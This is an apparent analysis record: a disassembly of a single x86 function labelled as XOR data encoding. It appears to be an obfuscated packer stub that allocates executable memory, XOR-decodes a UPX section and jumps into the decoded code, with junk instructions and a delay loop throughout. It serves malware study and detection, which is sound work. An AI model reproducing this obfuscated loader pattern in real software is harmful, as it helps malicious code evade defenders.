Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1c38493a
or eax, esi
mov esi, 0xdbde36ab
sub esi, eax
popal
not esi
sub eax, esi
mov edi, 0
mov ecx, edx
sub ebx, eax
or ebx, eax
mov esi, ecx
add ebx, eax
dec eax
mov edx, esi
sub ebx, eax
sub eax, 0x74fb2e47
add eax, 0x9d6292b7
inc edi
dec ebx
sub ebx, eax
or ebx, ebx
cmp edi, 0x1005132
jne 0x47afd1
sub eax, 0x1d9fe3d4
add eax, eax
add eax, 0xecd05a96
cmp edi, 0x1005132
je 0x47b01b
mov ebx, 0
mov byte [ebx], cl
and ebx, eax
and ebx, eax
dec eax
add eax, 0x893ea557
dec eax
mov esi, 0x47ada2
add edx, 0x1031f763
sub ecx, 0x4583e0a5
mov ebx, 0x47af96
add ecx, eax
sub eax, edx
mov edi, dword [esi]
add ecx, 0x1f977a43
add ecx, 0x7f8be74e
and edi, 0xff
sub eax, edx
add ecx, 0x8454f448
xor dword [ebx], edi
or ecx, edx
inc edx
inc eax
inc ebx
add ecx, 0xd34475d5
not edx
inc esi
mov ecx, 0x7aacadfb
sub ecx, 0x441595ef
sub edx, 0x78201e54
cmp ebx, entry0
jl 0x47b041
dec edx
add ecx, 1
inc eax
mov edx, 0x9ecbfa54
not ecx
and ecx, ecx
mov edi, ecx
sub ebx, esi
mov edx, 0x47af9a
mov ebx, 0xd5c329ef
sub ecx, 1
or ebx, edi
mov edx, dword [edx]
sub ecx, 1
add ebx, 0x76f4a25c
mov edx, dword [edx]
mov esi, 0x600c98a6
sub edi, ebx
mov ebx, edi
push edx
inc ebx
inc ebx
add esi, ecx
mov edx, 0x47af96
sub ebx, esi
not edi
add esi, ecx
mov edx, dword [edx]
and edi, esi
sub esi, 0xc802a040
add edi, 0x6398d3df
mov edx, dword [edx]
mov edi, ecx
not esi
sub esp, 4
mov dword [esp], 0x47af9e
mov ebx, 0x18a38d93
add edi, 0xc0229c8a
add esi, 0x72da6054
call edx
not ebx
add ecx, ecx
pop edx
mov ecx, 0x6af9ea1e
sub ecx, ebx
push 0x47afab
mov edi, ecx
or esi, esi
sub esi, 0xde9f6f5a
push eax
mov esi, ebx
mov ebx, esi
call edx
sub esi, 0x25fbcb13
sub ecx, 0x7d21b0de
sub ebx, 0x50380294
push 0x40
inc ecx
sub edi, 1
add ebx, 1
push 0x3000
and edi, ecx
add ebx, ebx
and ebx, ecx
sub esp, 4
mov dword [esp], 0x2000009d
inc esi
mov edi, 0x3f040bc3
push 0
and ebx, ecx
add ebx, 1
or edi, edi
call eax
add ebx, 0x7913bd7d
add esi, 0x11c8626e
add eax, 0x1fffffe9
add edi, 0xbd56ce28
add esi, 1
mov edx, 0x651eb694
and ebx, ebx
mov ebx, ecx
mov dword [eax], edx
mov ecx, edi
sub ecx, ebx
mov edx, dword [eax]
mov ebx, 0xe386aab9
add ebx, 1
cmp edx, 0x651eb694
je 0x47b1c8
mov ecx, 0
mov eax, dword [ecx]
add edi, 0x96db66bc
not esi
not ecx
dec edi
mov esi, 0xcafd147
and edi, edi
mov eax, 0x88a63f36
sub eax, esi
mov edx, section.UPX1
add eax, 0x3b0a097c
sub esi, 0x88f20cf1
add esi, esi
mov ecx, 0x47ada1
and esi, esi
mov eax, esi
dec esi
mov ebx, 0
mov eax, 0x654af234
sub esi, eax
mov esi, eax
mov edi, 0x47ada2
dec esi
not eax
lea edi, [edi + ebx]
or esi, esi
sub esi, eax
mov edi, dword [edi]
inc eax
add eax, 0xc0b9dd36
not esi
and edi, 0xff
sub eax, 0x438ae5d6
sub eax, 1
sub esi, eax
add ebx, 1
sub eax, 0x6bb615c6
not eax
not esi
cmp ebx, 0x1f4
jne 0x47b257
mov ebx, 0
mov eax, 0xb22d0d5f
sub esi, 0x598ba881
or esi, esi
sub esi, 1
mov esi, eax
dec eax
xor dword [edx], edi
inc esi
sub eax, 0x54c0f6b9
add edx, 2
add eax, esi
sub eax, esi
cmp edx, ecx
jl 0x47b20c
mov esi, eax
inc eax
mov esi, 0xd5c545b3
and esi, eax
dec esi
add esi, esi
mov edx, section.UPX1
sub esi, 0x66dffe95
sub esi, ecx
mov esi, ecx
mov eax, section.UPX1
mov ecx, 0xebab8221
not ecx
mov edi, 0x47ada1
dec esi
not esi
sub esi, 0x9d2e3ea5
mov ebx, 0
mov ecx, esi
not esi
mov bl, byte [eax]
add ecx, 1
or esi, ecx
dec ecx
mov byte [edx], bl
add ecx, 0x757bd5f0
mov esi, ecx
inc edx
and esi, ecx
add ecx, 1
add eax, 2
sub esi, 0xe7c8cdfa
add ecx, 1
cmp eax, edi
jle 0x47b2c7
add ecx, 0xfb22e9bb
mov esi, ecx
sub ecx, esi
add esi, 0x6137b25c
and eax, esi
dec eax
push 0x45e6a0
mov eax, esi
add eax, 1
ret